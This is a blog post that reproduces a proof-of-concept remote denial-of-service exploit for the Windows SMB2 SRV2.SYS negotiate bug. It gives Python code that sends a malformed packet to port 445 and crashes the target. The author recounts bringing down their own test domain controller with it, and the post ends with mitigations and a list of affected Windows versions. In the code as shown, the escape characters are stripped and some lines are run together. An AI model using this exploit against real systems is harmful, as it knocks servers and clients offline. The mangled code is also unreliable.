Windows SMB2 'SRV2.SYS' Remote Denial of Service Exploit (and screen shots on Windows 2008 SP2)

There’s a simple exploit code on SMB2 protocol (implemented in the newer OSes of Microsoft) that can easily remote BSDO a Windows server or client. SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used
to identify the SMB dialect that will be used for further communication. POC Tried and tested this on Windows 2008 R2 x32 on VirtualBox and it crashed that bad boy the instance i pressed enter. At the time of posting, that same server, which is my AD server (meant for a security seminar in Penang) just won’t boot! anymore…F@!@@!!!…   and LOL at the same time. I had to boot with “Last known good configuration” and that brought the DC up again. The exploit was done on Debian. image Also tried it on my x64 Windows 7 (also using SMB2.0) RTM Build 7600 but nothing happened. This means, Microsoft was informed of the bug and fixed it on the RTM build All credits to Laurent Gaffié Here’s the exploit code. You need to have file and print sharing enabled on Windows as well and of course, the firewall would allow file and print sharing from the network(s) that you are in.

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
# it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: –> 🙂 normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Be responsible, exploit test machines only 😀 please Mitigation techniques: 1) Disable SMB / File and Print Sharing (this is tough …i know)
2) Enable host level IDS to detect this signature or custom make your own.
3) Enable firewalls to block SMB traffic from unknown sources (with the hope no one does this in the so called trusted network)
The following platforms are vulnerable ( i didn’t test then personally though) Microsoft Windows Vista x64 Edition SP2
Microsoft Windows Vista x64 Edition SP1
Microsoft Windows Vista x64 Edition 0
Microsoft Windows Vista Ultimate 64-bit edition SP2
Microsoft Windows Vista Ultimate 64-bit edition SP1
Microsoft Windows Vista Ultimate 64-bit edition 0
Microsoft Windows Vista Home Premium 64-bit edition SP2
Microsoft Windows Vista Home Premium 64-bit edition SP1
Microsoft Windows Vista Home Premium 64-bit edition 0
Microsoft Windows Vista Home Basic 64-bit edition SP2
Microsoft Windows Vista Home Basic 64-bit edition SP1
Microsoft Windows Vista Home Basic 64-bit edition 0
Microsoft Windows Vista Enterprise 64-bit edition SP2
Microsoft Windows Vista Enterprise 64-bit edition SP1
Microsoft Windows Vista Enterprise 64-bit edition 0
Microsoft Windows Vista Business 64-bit edition SP2
Microsoft Windows Vista Business 64-bit edition SP1
Microsoft Windows Vista Business 64-bit edition 0
Microsoft Windows Vista Ultimate SP2
Microsoft Windows Vista Ultimate SP1
Microsoft Windows Vista Ultimate
Microsoft Windows Vista Home Premium SP2
Microsoft Windows Vista Home Premium SP1
Microsoft Windows Vista Home Premium
Microsoft Windows Vista Home Basic SP2
Microsoft Windows Vista Home Basic SP1
Microsoft Windows Vista Home Basic
Microsoft Windows Vista Enterprise SP2
Microsoft Windows Vista Enterprise SP1
Microsoft Windows Vista Enterprise
Microsoft Windows Vista Business SP2
Microsoft Windows Vista Business SP1
Microsoft Windows Vista Business
Microsoft Windows 7 for x64-based Systems 0
Microsoft Windows 7 for Itanium-based Systems 0
Microsoft Windows 7 for 32-bit Systems 0
Microsoft Windows 7 beta And to add from my test, Windows 2008 with SP2. Microsoft posted this advisory but basically it doesn’t fix anything but just workaround to prevent SMB(2): http://www.microsoft.com/technet/security/advisory/975497.mspx

1 Comment

Comments are closed.